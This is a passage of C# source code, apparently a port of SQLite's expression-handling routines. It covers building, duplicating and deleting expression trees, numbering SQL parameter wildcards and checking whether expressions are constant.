if ( ( pRight.flags & EP_ExpCollate ) != 0 )\n          {\n            pRoot.flags |= EP_ExpCollate;\n            pRoot.pColl = pRight.pColl;\n          }\n        }\n        if ( pLeft != null )\n        {\n          pRoot.pLeft = pLeft;\n          if ( ( pLeft.flags & EP_ExpCollate ) != 0 )\n          {\n            pRoot.flags |= EP_ExpCollate;\n            pRoot.pColl = pLeft.pColl;\n          }\n        }\n        exprSetHeight( pRoot );\n      }\n    }\n\n    /*\n    ** Allocate a Expr node which joins as many as two subtrees.\n    **\n    ** One or both of the subtrees can be NULL.  Return a pointer to the new\n    ** Expr node.  Or, if an OOM error occurs, set pParse->db->mallocFailed,\n    ** free the subtrees and return NULL.\n    */\n    // OVERLOADS, so I don't need to rewrite parse.c\n    static Expr sqlite3PExpr( Parse pParse, int op, int null_3, int null_4, int null_5 )\n    {\n      return sqlite3PExpr( pParse, op, null, null, null );\n    }\n    static Expr sqlite3PExpr( Parse pParse, int op, int null_3, int null_4, Token pToken )\n    {\n      return sqlite3PExpr( pParse, op, null, null, pToken );\n    }\n    static Expr sqlite3PExpr( Parse pParse, int op, Expr pLeft, int null_4, int null_5 )\n    {\n      return sqlite3PExpr( pParse, op, pLeft, null, null );\n    }\n    static Expr sqlite3PExpr( Parse pParse, int op, Expr pLeft, int null_4, Token pToken )\n    {\n      return sqlite3PExpr( pParse, op, pLeft, null, pToken );\n    }\n    static Expr sqlite3PExpr( Parse pParse, int op, Expr pLeft, Expr pRight, int null_5 )\n    {\n      return sqlite3PExpr( pParse, op, pLeft, pRight, null );\n    }\n    static Expr sqlite3PExpr(\n    Parse pParse,          /* Parsing context */\n    int op,                 /* Expression opcode */\n    Expr pLeft,            /* Left operand */\n    Expr pRight,           /* Right operand */\n    Token pToken     /* Argument Token */\n    )\n    {\n      Expr p = sqlite3ExprAlloc( pParse.db, op, pToken, 1 );\n      sqlite3ExprAttachSubtrees( pParse.db, p, pLeft, pRight );\n      return p;\n    }\n\n\n    /*\n    ** When doing a nested parse, you can include terms in an expression\n    ** that look like this:   #1 #2 ...  These terms refer to registers\n    ** in the virtual machine.  #N is the N-th register.\n    **\n    ** This routine is called by the parser to deal with on of those terms.\n    ** It immediately generates code to store the value in a memory location.\n    ** The returns an expression that will code to extract the value from\n    ** that memory location as needed.\n    */\n    static Expr sqlite3RegisterExpr( Parse pParse, Token pToken )\n    {\n      Vdbe v = pParse.pVdbe;\n      Expr p;\n      if ( pParse.nested == 0 )\n      {\n        sqlite3ErrorMsg( pParse, \"near \\\"%T\\\": syntax error\", pToken );\n        return sqlite3PExpr( pParse, TK_NULL, null, null, null );\n      }\n      if ( v == null ) return null;\n      p = sqlite3PExpr( pParse, TK_REGISTER, null, null, pToken );\n      if ( p == null )\n      {\n        return null;  /* Malloc failed */\n      }\n      p.u.iValue = atoi( pToken.z.Substring( 1 ) ); ;//atoi((char*)&pToken - z[1]);\n      return p;\n    }\n\n    /*\n    ** Join two expressions using an AND operator.  If either expression is\n    ** NULL, then just return the other expression.\n    */\n    static Expr sqlite3ExprAnd( sqlite3 db, Expr pLeft, Expr pRight )\n    {\n      if ( pLeft == null )\n      {\n        return pRight;\n      }\n      else if ( pRight == null )\n      {\n        return pLeft;\n      }\n      else\n      {\n        Expr pNew = sqlite3ExprAlloc( db, TK_AND, null, 0 );\n        sqlite3ExprAttachSubtrees( db, pNew, pLeft, pRight );\n        return pNew;\n      }\n    }\n\n    /*\n    ** Construct a new expression node for a function with multiple\n    ** arguments.\n    */\n    // OVERLOADS, so I don't need to rewrite parse.c\n    static Expr sqlite3ExprFunction( Parse pParse, int null_2, Token pToken )\n    {\n      return sqlite3ExprFunction( pParse, null, pToken );\n    }\n    static Expr sqlite3ExprFunction( Parse pParse, ExprList pList, int null_3 )\n    {\n      return sqlite3ExprFunction( pParse, pList, null );\n    }\n    static Expr sqlite3ExprFunction( Parse pParse, ExprList pList, Token pToken )\n    {\n      Expr pNew;\n      sqlite3 db = pParse.db;\n      Debug.Assert( pToken != null );\n      pNew = sqlite3ExprAlloc( db, TK_FUNCTION, pToken, 1 );\n      if ( pNew == null )\n      {\n        sqlite3ExprListDelete( db, ref pList ); /* Avoid memory leak when malloc fails */\n        return null;\n      }\n      pNew.x.pList = pList;\n      Debug.Assert( !ExprHasProperty( pNew, EP_xIsSelect ) );\n\n      sqlite3ExprSetHeight( pParse, pNew );\n      return pNew;\n    }\n\n    /*\n    ** Assign a variable number to an expression that encodes a wildcard\n    ** in the original SQL statement.\n    **\n    ** Wildcards consisting of a single \"?\" are assigned the next sequential\n    ** variable number.\n    **\n    ** Wildcards of the form \"?nnn\" are assigned the number \"nnn\".  We make\n    ** sure \"nnn\" is not too be to avoid a denial of service attack when\n    ** the SQL statement comes from an external source.\n    **\n    ** Wildcards of the form \":aaa\", \"@aaa\" or \"$aaa\" are assigned the same number\n    ** as the previous instance of the same wildcard.  Or if this is the first\n    ** instance of the wildcard, the next sequenial variable number is\n    ** assigned.\n    */\n    static void sqlite3ExprAssignVarNumber( Parse pParse, Expr pExpr )\n    {\n      sqlite3 db = pParse.db;\n      string z;\n\n      if ( pExpr == null ) return;\n      Debug.Assert( !ExprHasAnyProperty( pExpr, EP_IntValue | EP_Reduced | EP_TokenOnly ) );\n      z = pExpr.u.zToken;\n      Debug.Assert( z != null );\n      Debug.Assert( z.Length != 0 );\n      if ( z.Length == 1 )\n      {\n        /* Wildcard of the form \"?\".  Assign the next variable number */\n        Debug.Assert( z[0] == '?' );\n        pExpr.iTable = ++pParse.nVar;\n      }\n      else if ( z[0] == '?' )\n      {\n        /* Wildcard of the form \"?nnn\".  Convert \"nnn\" to an integer and\n        ** use it as the variable number */\n        int i;\n        pExpr.iTable = i = atoi( z.Substring( 1 ) );//atoi((char*)&z[1]);\n        testcase( i == 0 );\n        testcase( i == 1 );\n        testcase( i == db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] - 1 );\n        testcase( i == db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] );\n        if ( i < 1 || i > db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] )\n        {\n          sqlite3ErrorMsg( pParse, \"variable number must be between ?1 and ?%d\",\n          db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] );\n        }\n        if ( i > pParse.nVar )\n        {\n          pParse.nVar = i;\n        }\n      }\n      else\n      {\n        /* Wildcards like \":aaa\", \"$aaa\" or \"@aaa\".  Reuse the same variable\n        ** number as the prior appearance of the same name, or if the name\n        ** has never appeared before, reuse the same variable number\n        */\n        int i;\n        int n;\n        n = sqlite3Strlen30( z );\n        for ( i = 0 ; i < pParse.nVarExpr ; i++ )\n        {\n          Expr pE = pParse.apVarExpr[i];\n          Debug.Assert( pE != null );\n          if ( memcmp( pE.u.zToken, z, n ) == 0 && pE.u.zToken.Length == n )\n          {\n            pExpr.iTable = pE.iTable;\n            break;\n          }\n        }\n        if ( i >= pParse.nVarExpr )\n        {\n          pExpr.iTable = ++pParse.nVar;\n          if ( pParse.nVarExpr >= pParse.nVarExprAlloc - 1 )\n          {\n            pParse.nVarExprAlloc += pParse.nVarExprAlloc + 10;\n            pParse.apVarExpr = new Expr[pParse.nVarExprAlloc];\n            //sqlite3DbReallocOrFree(\n            //  db,\n            //  pParse.apVarExpr,\n            //  pParse.nVarExprAlloc*sizeof(pParse.apVarExpr[0])\n            //);\n          }\n          //if ( 0 == db.mallocFailed )\n          {\n            Debug.Assert( pParse.apVarExpr != null );\n            pParse.apVarExpr[pParse.nVarExpr++] = pExpr;\n          }\n        }\n      }\n      if ( pParse.nErr == 0 && pParse.nVar > db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] )\n      {\n        sqlite3ErrorMsg( pParse, \"too many SQL variables\" );\n      }\n    }\n\n    /*\n    ** Clear an expression structure without deleting the structure itself.\n    ** Substructure is deleted.\n    */\n    static void sqlite3ExprClear( sqlite3 db, Expr p )\n    {\n      Debug.Assert( p != null );\n      if ( !ExprHasAnyProperty( p, EP_TokenOnly ) )\n      {\n        sqlite3ExprDelete( db, ref p.pLeft );\n        sqlite3ExprDelete( db, ref p.pRight );\n        if ( !ExprHasProperty( p, EP_Reduced ) && ( p.flags2 & EP2_MallocedToken ) != 0 )\n        {\n#if DEBUG_CLASS_EXPR || DEBUG_CLASS_ALL\n//sqlite3DbFree( db, ref p.u._zToken );\n#else\n          //sqlite3DbFree( db, ref p.u.zToken );\n#endif\n        }\n        if ( ExprHasProperty( p, EP_xIsSelect ) )\n        {\n          sqlite3SelectDelete( db, ref p.x.pSelect );\n        }\n        else\n        {\n          sqlite3ExprListDelete( db, ref p.x.pList );\n        }\n      }\n    }\n\n    /*\n    ** Recursively delete an expression tree.\n    */\n    static void sqlite3ExprDelete( sqlite3 db, ref Expr p )\n    {\n      if ( p == null ) return;\n      sqlite3ExprClear( db, p );\n      if ( !ExprHasProperty( p, EP_Static ) )\n      {\n        //sqlite3DbFree( db, ref p );\n      }\n    }\n\n    /*\n    ** Return the number of bytes allocated for the expression structure\n    ** passed as the first argument. This is always one of EXPR_FULLSIZE,\n    ** EXPR_REDUCEDSIZE or EXPR_TOKENONLYSIZE.\n    */\n    static int exprStructSize( Expr p )\n    {\n      if ( ExprHasProperty( p, EP_TokenOnly ) ) return EXPR_TOKENONLYSIZE;\n      if ( ExprHasProperty( p, EP_Reduced ) ) return EXPR_REDUCEDSIZE;\n      return EXPR_FULLSIZE;\n    }\n\n    /*\n    ** The dupedExpr*Size() routines each return the number of bytes required\n    ** to store a copy of an expression or expression tree.  They differ in\n    ** how much of the tree is measured.\n    **\n    **     dupedExprStructSize()     Size of only the Expr structure\n    **     dupedExprNodeSize()       Size of Expr + space for token\n    **     dupedExprSize()           Expr + token + subtree components\n    **\n    ***************************************************************************\n    **\n    ** The dupedExprStructSize() function returns two values OR-ed together:\n    ** (1) the space required for a copy of the Expr structure only and\n    ** (2) the EP_xxx flags that indicate what the structure size should be.\n    ** The return values is always one of:\n    **\n    **      EXPR_FULLSIZE\n    **      EXPR_REDUCEDSIZE   | EP_Reduced\n    **      EXPR_TOKENONLYSIZE | EP_TokenOnly\n    **\n    ** The size of the structure can be found by masking the return value\n    ** of this routine with 0xfff.  The flags can be found by masking the\n    ** return value with EP_Reduced|EP_TokenOnly.\n    **\n    ** Note that with flags==EXPRDUP_REDUCE, this routines works on full-size\n    ** (unreduced) Expr objects as they or originally constructed by the parser.\n    ** During expression analysis, extra information is computed and moved into\n    ** later parts of teh Expr object and that extra information might get chopped\n    ** off if the expression is reduced.  Note also that it does not work to\n    ** make a EXPRDUP_REDUCE copy of a reduced expression.  It is only legal\n    ** to reduce a pristine expression tree from the parser.  The implementation\n    ** of dupedExprStructSize() contain multiple assert() statements that attempt\n    ** to enforce this constraint.\n    */\n    static int dupedExprStructSize( Expr p, int flags )\n    {\n      int nSize;\n      Debug.Assert( flags == EXPRDUP_REDUCE || flags == 0 ); /* Only one flag value allowed */\n      if ( 0 == ( flags & EXPRDUP_REDUCE ) )\n      {\n        nSize = EXPR_FULLSIZE;\n      }\n      else\n      {\n        Debug.Assert( !ExprHasAnyProperty( p, EP_TokenOnly | EP_Reduced ) );\n        Debug.Assert( !ExprHasProperty( p, EP_FromJoin ) );\n        Debug.Assert( ( p.flags2 & EP2_MallocedToken ) == 0 );\n        Debug.Assert( ( p.flags2 & EP2_Irreducible ) == 0 );\n        if ( p.pLeft != null || p.pRight != null || p.pColl != null || p.x.pList != null || p.x.pSelect != null )\n        {\n          nSize = EXPR_REDUCEDSIZE | EP_Reduced;\n        }\n        else\n        {\n          nSize = EXPR_TOKENONLYSIZE | EP_TokenOnly;\n        }\n      }\n      return nSize;\n    }\n\n    /*\n    ** This function returns the space in bytes required to store the copy\n    ** of the Expr structure and a copy of the Expr.u.zToken string (if that\n    ** string is defined.)\n    */\n    static int dupedExprNodeSize( Expr p, int flags )\n    {\n      int nByte = dupedExprStructSize( p, flags ) & 0xfff;\n      if ( !ExprHasProperty( p, EP_IntValue ) && p.u.zToken != null )\n      {\n        nByte += sqlite3Strlen30( p.u.zToken ) + 1;\n      }\n      return ROUND8( nByte );\n    }\n\n    /*\n    ** Return the number of bytes required to create a duplicate of the\n    ** expression passed as the first argument. The second argument is a\n    ** mask containing EXPRDUP_XXX flags.\n    **\n    ** The value returned includes space to create a copy of the Expr struct\n    ** itself and the buffer referred to by Expr.u.zToken, if any.\n    **\n    ** If the EXPRDUP_REDUCE flag is set, then the return value includes\n    ** space to duplicate all Expr nodes in the tree formed by Expr.pLeft\n    ** and Expr.pRight variables (but not for any structures pointed to or\n    ** descended from the Expr.x.pList or Expr.x.pSelect variables).\n    */\n    static int dupedExprSize( Expr p, int flags )\n    {\n      int nByte = 0;\n      if ( p != null )\n      {\n        nByte = dupedExprNodeSize( p, flags );\n        if ( ( flags & EXPRDUP_REDUCE ) != 0 )\n        {\n          nByte += dupedExprSize( p.pLeft, flags ) + dupedExprSize( p.pRight, flags );\n        }\n      }\n      return nByte;\n    }\n\n    /*\n    ** This function is similar to sqlite3ExprDup(), except that if pzBuffer\n    ** is not NULL then *pzBuffer is assumed to point to a buffer large enough\n    ** to store the copy of expression p, the copies of p->u.zToken\n    ** (if applicable), and the copies of the p->pLeft and p->pRight expressions,\n    ** if any. Before returning, *pzBuffer is set to the first byte passed the\n    ** portion of the buffer copied into by this function.\n    */\n    static Expr exprDup( sqlite3 db, Expr p, int flags, ref Expr pzBuffer )\n    {\n      Expr pNew = null;                      /* Value to return */\n      if ( p != null )\n      {\n        bool isReduced = ( flags & EXPRDUP_REDUCE ) != 0;\n        Expr zAlloc = new Expr();\n        u32 staticFlag = 0;\n\n        Debug.Assert( pzBuffer == null || isReduced );\n\n        /* Figure out where to write the new Expr structure. */\n        //if ( pzBuffer !=null)\n        //{\n        //  zAlloc = pzBuffer;\n        //  staticFlag = EP_Static;\n        //}\n        //else\n        //{\n        //  zAlloc = new Expr();//sqlite3DbMallocRaw( db, dupedExprSize( p, flags ) );\n        //}\n        pNew = p.Copy_Minimal();// (Expr*)zAlloc;\n\n        if ( pNew != null )\n        {\n          /* Set nNewSize to the size allocated for the structure pointed to\n          ** by pNew. This is either EXPR_FULLSIZE, EXPR_REDUCEDSIZE or\n          ** EXPR_TOKENONLYSIZE. nToken is set to the number of bytes consumed\n          ** by the copy of the p->u.zToken string (if any).\n          */\n          int nStructSize = dupedExprStructSize( p, flags );\n          int nNewSize = nStructSize & 0xfff;\n          int nToken;\n          if ( !ExprHasProperty( p, EP_IntValue ) && !String.IsNullOrEmpty( p.u.zToken ) )\n          {\n            nToken = sqlite3Strlen30( p.u.zToken );\n          }\n          else\n          {\n            nToken = 0;\n          }\n          if ( isReduced )\n          {\n            Debug.Assert( !ExprHasProperty( p, EP_Reduced ) );\n            //memcpy( zAlloc, p, nNewSize );\n          }\n          else\n          {\n            int nSize = exprStructSize( p );\n            //memcpy( zAlloc, p, nSize );\n            //memset( &zAlloc[nSize], 0, EXPR_FULLSIZE - nSize );\n          }\n\n          /* Set the EP_Reduced, EP_TokenOnly, and EP_Static flags appropriately. */\n          unchecked { pNew.flags &= (ushort)( ~( EP_Reduced | EP_TokenOnly | EP_Static ) ); }\n          pNew.flags |= (ushort)( nStructSize & ( EP_Reduced | EP_TokenOnly ) );\n          pNew.flags |= (ushort)staticFlag;\n\n          /* Copy the p->u.zToken string, if any. */\n          if ( nToken != 0 )\n          {\n            string zToken;// = pNew.u.zToken = (char*)&zAlloc[nNewSize];\n            zToken = p.u.zToken.Substring( 0, nToken );// memcpy( zToken, p.u.zToken, nToken );\n          }\n\n          if ( 0 == ( ( p.flags | pNew.flags ) & EP_TokenOnly ) )\n          {\n            /* Fill in the pNew.x.pSelect or pNew.x.pList member. */\n            if ( ExprHasProperty( p, EP_xIsSelect ) )\n            {\n              pNew.x.pSelect = sqlite3SelectDup( db, p.x.pSelect, isReduced ? 1 : 0 );\n            }\n            else\n            {\n              pNew.x.pList = sqlite3ExprListDup( db, p.x.pList, isReduced ? 1 : 0 );\n            }\n          }\n\n          /* Fill in pNew.pLeft and pNew.pRight. */\n          if ( ExprHasAnyProperty( pNew, EP_Reduced | EP_TokenOnly ) )\n          {\n            //zAlloc += dupedExprNodeSize( p, flags );\n            if ( ExprHasProperty( pNew, EP_Reduced ) )\n            {\n              pNew.pLeft = exprDup( db, p.pLeft, EXPRDUP_REDUCE, ref zAlloc );\n              pNew.pRight = exprDup( db, p.pRight, EXPRDUP_REDUCE, ref zAlloc );\n            }\n            if ( pzBuffer != null )\n            {\n              pzBuffer = zAlloc;\n            }\n          }\n          else\n          {\n            pNew.flags2 = 0;\n            if ( !ExprHasAnyProperty( p, EP_TokenOnly ) )\n            {\n              pNew.pLeft = sqlite3ExprDup( db, p.pLeft, 0 );\n              pNew.pRight = sqlite3ExprDup( db, p.pRight, 0 );\n            }\n          }\n        }\n      }\n      return pNew;\n    }\n\n    /*\n    ** The following group of routines make deep copies of expressions,\n    ** expression lists, ID lists, and select statements.  The copies can\n    ** be deleted (by being passed to their respective ...Delete() routines)\n    ** without effecting the originals.\n    **\n    ** The expression list, ID, and source lists return by sqlite3ExprListDup(),\n    ** sqlite3IdListDup(), and sqlite3SrcListDup() can not be further expanded\n    ** by subsequent calls to sqlite*ListAppend() routines.\n    **\n    ** Any tables that the SrcList might point to are not duplicated.\n    **\n    ** The flags parameter contains a combination of the EXPRDUP_XXX flags.\n    ** If the EXPRDUP_REDUCE flag is set, then the structure returned is a\n    ** truncated version of the usual Expr structure that will be stored as\n    ** part of the in-memory representation of the database schema.\n    */\n    static Expr sqlite3ExprDup( sqlite3 db, Expr p, int flags )\n    {\n      Expr ExprDummy = null;\n      return exprDup( db, p, flags, ref ExprDummy );\n    }\n\n    static ExprList sqlite3ExprListDup( sqlite3 db, ExprList p, int flags )\n    {\n      ExprList pNew;\n      ExprList_item pItem;\n      ExprList_item pOldItem;\n      int i;\n      if ( p == null ) return null;\n      pNew = new ExprList();//sqlite3DbMallocRaw(db, sizeof(*pNew) );\n      if ( pNew == null ) return null;\n      pNew.iECursor = 0;\n      pNew.nExpr = pNew.nAlloc = p.nExpr;\n      pNew.a = new ExprList_item[p.nExpr];//sqlite3DbMallocRaw(db,  p.nExpr*sizeof(p.a[0]) );\n      //if( pItem==null ){\n      //  //sqlite3DbFree(db,ref pNew);\n      //  return null;\n      //}\n      //pOldItem = p.a;\n      for ( i = 0 ; i < p.nExpr ; i++ )\n      {//pItem++, pOldItem++){\n        pItem = pNew.a[i] = new ExprList_item();\n        pOldItem = p.a[i];\n        Expr pOldExpr = pOldItem.pExpr;\n        pItem.pExpr = sqlite3ExprDup( db, pOldExpr, flags );\n        pItem.zName = pOldItem.zName;// sqlite3DbStrDup(db, pOldItem.zName);\n        pItem.zSpan = pOldItem.zSpan;// sqlite3DbStrDup( db, pOldItem.zSpan );\n        pItem.sortOrder = pOldItem.sortOrder;\n        pItem.done = 0;\n        pItem.iCol = pOldItem.iCol;\n        pItem.iAlias = pOldItem.iAlias;\n      }\n      return pNew;\n    }\n\n    /*\n    ** If cursors, triggers, views and subqueries are all omitted from\n    ** the build, then none of the following routines, except for\n    ** sqlite3SelectDup(), can be called. sqlite3SelectDup() is sometimes\n    ** called with a NULL argument.\n    */\n#if !SQLITE_OMIT_VIEW || !SQLITE_OMIT_TRIGGER  || !SQLITE_OMIT_SUBQUERY\n    static SrcList sqlite3SrcListDup( sqlite3 db, SrcList p, int flags )\n    {\n      SrcList pNew;\n      int i;\n      int nByte;\n      if ( p == null ) return null;\n      //nByte = sizeof(*p) + (p.nSrc>0 ? sizeof(p.a[0]) * (p.nSrc-1) : 0);\n      pNew = new SrcList();//sqlite3DbMallocRaw(db, nByte );\n      if ( p.nSrc > 0 ) pNew.a = new SrcList_item[p.nSrc];\n      if ( pNew == null ) return null;\n      pNew.nSrc = pNew.nAlloc = p.nSrc;\n      for ( i = 0 ; i < p.nSrc ; i++ )\n      {\n        pNew.a[i] = new SrcList_item();\n        SrcList_item pNewItem = pNew.a[i];\n        SrcList_item pOldItem = p.a[i];\n        Table pTab;\n        pNewItem.zDatabase = pOldItem.zDatabase;// sqlite3DbStrDup(db, pOldItem.zDatabase);\n        pNewItem.zName = pOldItem.zName;// sqlite3DbStrDup(db, pOldItem.zName);\n        pNewItem.zAlias = pOldItem.zAlias;// sqlite3DbStrDup(db, pOldItem.zAlias);\n        pNewItem.jointype = pOldItem.jointype;\n        pNewItem.iCursor = pOldItem.iCursor;\n        pNewItem.isPopulated = pOldItem.isPopulated;\n        pNewItem.zIndex = pOldItem.zIndex;// sqlite3DbStrDup( db, pOldItem.zIndex );\n        pNewItem.notIndexed = pOldItem.notIndexed;\n        pNewItem.pIndex = pOldItem.pIndex;\n        pTab = pNewItem.pTab = pOldItem.pTab;\n        if ( pTab != null )\n        {\n          pTab.nRef++;\n        }\n        pNewItem.pSelect = sqlite3SelectDup( db, pOldItem.pSelect, flags );\n        pNewItem.pOn = sqlite3ExprDup( db, pOldItem.pOn, flags );\n        pNewItem.pUsing = sqlite3IdListDup( db, pOldItem.pUsing );\n        pNewItem.colUsed = pOldItem.colUsed;\n      }\n      return pNew;\n    }\n\n    static IdList sqlite3IdListDup( sqlite3 db, IdList p )\n    {\n      IdList pNew;\n      int i;\n      if ( p == null ) return null;\n      pNew = new IdList();//sqlite3DbMallocRaw(db, sizeof(*pNew) );\n      if ( pNew == null ) return null;\n      pNew.nId = pNew.nAlloc = p.nId;\n      pNew.a = new IdList_item[p.nId];//sqlite3DbMallocRaw(db, p.nId*sizeof(p.a[0]) );\n      if ( pNew.a == null )\n      {\n        //sqlite3DbFree( db, ref pNew );\n        return null;\n      }\n      for ( i = 0 ; i < p.nId ; i++ )\n      {\n        pNew.a[i] = new IdList_item();\n        IdList_item pNewItem = pNew.a[i];\n        IdList_item pOldItem = p.a[i];\n        pNewItem.zName = pOldItem.zName;// sqlite3DbStrDup(db, pOldItem.zName);\n        pNewItem.idx = pOldItem.idx;\n      }\n      return pNew;\n    }\n\n    static Select sqlite3SelectDup( sqlite3 db, Select p, int flags )\n    {\n      Select pNew;\n      if ( p == null ) return null;\n      pNew = new Select();//sqlite3DbMallocRaw(db, sizeof(*p) );\n      if ( pNew == null ) return null;\n      pNew.pEList = sqlite3ExprListDup( db, p.pEList, flags );\n      pNew.pSrc = sqlite3SrcListDup( db, p.pSrc, flags );\n      pNew.pWhere = sqlite3ExprDup( db, p.pWhere, flags );\n      pNew.pGroupBy = sqlite3ExprListDup( db, p.pGroupBy, flags );\n      pNew.pHaving = sqlite3ExprDup( db, p.pHaving, flags );\n      pNew.pOrderBy = sqlite3ExprListDup( db, p.pOrderBy, flags );\n      pNew.op = p.op;\n      pNew.pPrior = sqlite3SelectDup( db, p.pPrior, flags );\n      pNew.pLimit = sqlite3ExprDup( db, p.pLimit, flags );\n      pNew.pOffset = sqlite3ExprDup( db, p.pOffset, flags );\n      pNew.iLimit = 0;\n      pNew.iOffset = 0;\n      pNew.selFlags = (u16)( p.selFlags & ~SF_UsesEphemeral );\n      pNew.pRightmost = null;\n      pNew.addrOpenEphm[0] = -1;\n      pNew.addrOpenEphm[1] = -1;\n      pNew.addrOpenEphm[2] = -1;\n      return pNew;\n    }\n#else\nSelect sqlite3SelectDup(sqlite3 db, Select p, int flags){\nDebug.Assert( p==null );\nreturn null;\n}\n#endif\n\n\n    /*\n** Add a new element to the end of an expression list.  If pList is\n** initially NULL, then create a new expression list.\n**\n** If a memory allocation error occurs, the entire list is freed and\n** NULL is returned.  If non-NULL is returned, then it is guaranteed\n** that the new entry was successfully appended.\n*/\n    // OVERLOADS, so I don't need to rewrite parse.c\n    static ExprList sqlite3ExprListAppend( Parse pParse, int null_2, Expr pExpr )\n    {\n      return sqlite3ExprListAppend( pParse, null, pExpr );\n    }\n    static ExprList sqlite3ExprListAppend(\n    Parse pParse,          /* Parsing context */\n    ExprList pList,        /* List to which to append. Might be NULL */\n    Expr pExpr             /* Expression to be appended. Might be NULL */\n    )\n    {\n      sqlite3 db = pParse.db;\n      if ( pList == null )\n      {\n        pList = new ExprList();  //sqlite3DbMallocZero(db, ExprList).Length;\n        if ( pList == null )\n        {\n          goto no_mem;\n        }\n        Debug.Assert( pList.nAlloc == 0 );\n      }\n      if ( pList.nAlloc <= pList.nExpr )\n      {\n        ExprList_item a;\n        int n = pList.nAlloc * 2 + 4;\n        //a = sqlite3DbRealloc(db, pList.a, n*sizeof(pList.a[0]));\n        //if( a==0 ){\n        //  goto no_mem;\n        //}\n        Array.Resize( ref pList.a, n );// = a;\n        pList.nAlloc = pList.a.Length;// sqlite3DbMallocSize(db, a)/sizeof(a[0]);\n      }\n      Debug.Assert( pList.a != null );\n      if ( true )\n      {\n        pList.a[pList.nExpr] = new ExprList_item(); ;\n        ExprList_item pItem = pList.a[pList.nExpr++];\n        //pItem = new ExprList_item();//memset(pItem, 0, sizeof(*pItem));\n        pItem.pExpr = pExpr;\n      }\n      return pList;\n\nno_mem:\n      /* Avoid leaking memory if malloc has failed. */\n      sqlite3ExprDelete( db, ref pExpr );\n      sqlite3ExprListDelete( db, ref pList );\n      return null;\n    }\n\n    /*\n    ** Set the ExprList.a[].zName element of the most recently added item\n    ** on the expression list.\n    **\n    ** pList might be NULL following an OOM error.  But pName should never be\n    ** NULL.  If a memory allocation fails, the pParse.db.mallocFailed flag\n    ** is set.\n    */\n    static void sqlite3ExprListSetName(\n    Parse pParse,          /* Parsing context */\n    ExprList pList,        /* List to which to add the span. */\n    Token pName,           /* Name to be added */\n    int dequote            /* True to cause the name to be dequoted */\n    )\n    {\n      Debug.Assert( pList != null /* || pParse.db.mallocFailed != 0 */ );\n      if ( pList != null )\n      {\n        ExprList_item pItem;\n        Debug.Assert( pList.nExpr > 0 );\n        pItem = pList.a[pList.nExpr - 1];\n        Debug.Assert( pItem.zName == null );\n        pItem.zName = pName.z.Substring( 0, pName.n );//sqlite3DbStrNDup(pParse.db, pName.z, pName.n);\n        if ( dequote != 0 && !String.IsNullOrEmpty( pItem.zName ) ) sqlite3Dequote( ref pItem.zName );\n      }\n    }\n\n    /*\n    ** Set the ExprList.a[].zSpan element of the most recently added item\n    ** on the expression list.\n    **\n    ** pList might be NULL following an OOM error.  But pSpan should never be\n    ** NULL.  If a memory allocation fails, the pParse.db.mallocFailed flag\n    ** is set.\n    */\n    static void sqlite3ExprListSetSpan(\n    Parse pParse,          /* Parsing context */\n    ExprList pList,        /* List to which to add the span. */\n    ExprSpan pSpan         /* The span to be added */\n    )\n    {\n      sqlite3 db = pParse.db;\n      Debug.Assert( pList != null /*|| db.mallocFailed != 0 */ );\n      if ( pList != null )\n      {\n        ExprList_item pItem = pList.a[pList.nExpr - 1];\n        Debug.Assert( pList.nExpr > 0 );\n        Debug.Assert( /* db.mallocFailed != 0 || */ pItem.pExpr == pSpan.pExpr );\n        //sqlite3DbFree( db, pItem.zSpan );\n        pItem.zSpan = pSpan.zStart.Substring( 0, pSpan.zStart.Length <= pSpan.zEnd.Length ? pSpan.zStart.Length : pSpan.zStart.Length - pSpan.zEnd.Length );// sqlite3DbStrNDup( db, pSpan.zStart,\n        //(int)( pSpan.zEnd- pSpan.zStart) );\n      }\n    }\n\n    /*\n    ** If the expression list pEList contains more than iLimit elements,\n    ** leave an error message in pParse.\n    */\n    static void sqlite3ExprListCheckLength(\n    Parse pParse,\n    ExprList pEList,\n    string zObject\n    )\n    {\n      int mx = pParse.db.aLimit[SQLITE_LIMIT_COLUMN];\n      testcase( pEList != null && pEList.nExpr == mx );\n      testcase( pEList != null && pEList.nExpr == mx + 1 );\n      if ( pEList != null && pEList.nExpr > mx )\n      {\n        sqlite3ErrorMsg( pParse, \"too many columns in %s\", zObject );\n      }\n    }\n\n\n    /*\n    ** Delete an entire expression list.\n    */\n    static void sqlite3ExprListDelete( sqlite3 db, ref ExprList pList )\n    {\n      int i;\n      ExprList_item pItem;\n      if ( pList == null ) return;\n      Debug.Assert( pList.a != null || ( pList.nExpr == 0 && pList.nAlloc == 0 ) );\n      Debug.Assert( pList.nExpr <= pList.nAlloc );\n      for ( i = 0 ; i < pList.nExpr ; i++ )\n      {\n        if ( ( pItem = pList.a[i] ) != null )\n        {\n          sqlite3ExprDelete( db, ref pItem.pExpr );\n          //sqlite3DbFree( db, ref pItem.zName );\n          //sqlite3DbFree( db, ref pItem.zSpan );\n        }\n      }\n      //sqlite3DbFree( db, ref pList.a );\n      //sqlite3DbFree( db, ref pList );\n    }\n\n    /*\n    ** These routines are Walker callbacks.  Walker.u.pi is a pointer\n    ** to an integer.  These routines are checking an expression to see\n    ** if it is a constant.  Set *Walker.u.pi to 0 if the expression is\n    ** not constant.\n    **\n    ** These callback routines are used to implement the following:\n    **\n    **     sqlite3ExprIsConstant()\n    **     sqlite3ExprIsConstantNotJoin()\n    **     sqlite3ExprIsConstantOrFunction()\n    **\n    */\n    static int exprNodeIsConstant( Walker pWalker, ref Expr pExpr )\n    {\n      /* If pWalker.u.i is 3 then any term of the expression that comes from\n      ** the ON or USING clauses of a join disqualifies the expression\n      ** from being considered constant. */\n      if ( pWalker.u.i == 3 && ExprHasAnyProperty( pExpr, EP_FromJoin ) )\n      {\n        pWalker.u.i = 0;\n        return WRC_Abort;\n      }\n\n      switch ( pExpr.op )\n      {\n        /* Consider functions to be constant if all their arguments are constant\n        ** and pWalker.u.i==2 */\n        case TK_FUNCTION:\n          if ( ( pWalker.u.i ) == 2 ) return 0;\n          goto case TK_ID;\n        /* Fall through */\n        case TK_ID:\n        case TK_COLUMN:\n        case TK_AGG_FUNCTION:\n        case TK_AGG_COLUMN:\n          testcase( pExpr.op == TK_ID );\n          testcase( pExpr.op == TK_COLUMN );\n          testcase( pExpr.op == TK_AGG_FUNCTION );\n          